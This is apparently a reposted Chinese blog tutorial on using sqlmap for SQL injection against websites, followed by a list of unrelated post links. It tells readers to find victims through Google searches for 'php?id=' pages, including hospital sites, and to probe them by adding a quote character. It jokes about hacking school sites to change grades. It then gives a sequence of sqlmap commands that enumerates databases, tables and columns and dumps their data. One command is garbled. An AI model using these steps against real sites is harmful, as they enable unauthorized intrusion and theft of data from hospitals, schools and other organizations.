zoukankan      html  css  js  c++  java
  • 使用sqlmap执行SQL注入攻击

    sqlmap是开源的SQL注入自动攻击工具,它可以自动的探测SQL注入点并且进一步控制网站的数据库。

    Kali Linux默认安装了这个工具。

    找到潜在的攻击目标

    第一步是找到有SQL注入漏洞的网站。如果你没有特定攻击目标,可以使用Google搜索 php?id=1 (或php?id= + xx系医院):

    找到结果中的url:

    http://www.test.com/index.php?id=1
    

    检测是否有SQL注入漏洞;在url后添加一个’符号,使用浏览器访问:

    http://www.test.com/index.php?id=1'
    

    如果网站没有SQL注入漏洞,使用上面的地址访问不会有问题。如果有SQL注入漏洞,会有错误输出:

    中国很多企事业的网站都有漏洞,有很多学校网站的漏洞早已被发到了网上,这帮家伙也不修复。

    入侵学校网站,修改成绩,有没有人想过:)。

    关于使用sqlmap的法律问题:

    Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

    SQL注入

    测试SQL注入:

    # sqlmap -u http://www.test.com/index.php?id=1 --dbs
    

    自动探测数据库类型和漏洞,如果成功会列出数据库:

    获得某个数据库中的表:

    # sqlmap -u sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables
    

    获得表的字段:

    # sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables -T some_table --columns
    
    

    下载某一字段的数据:

    # sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables -T some_table --columns -C some_col --dump
    

    更多选项,参考man手册:

    # man sqlmap
    
  • 相关阅读:
    Web 前端开发中一些兼容性问题及其解决办法 (持续更)
    沈逸的IT专栏---shenyisyn
    程序员该做的事
    职场需要切忌的几点——《程序员,你伤不起》
    百度天气API接口
    C#简单音乐播放器ListBox歌单列表
    CentOS7 安装java(jre 1.8)
    CentOS7 系统安装与设置
    这个可以有,记录下
    在centos 7中让网卡自启动
  • 原文地址:https://www.cnblogs.com/daoyi/p/shi-yongsqlmap-zhi-xingSQL-zhu-ru-gong-ji.html
Copyright © 2011-2022 走看看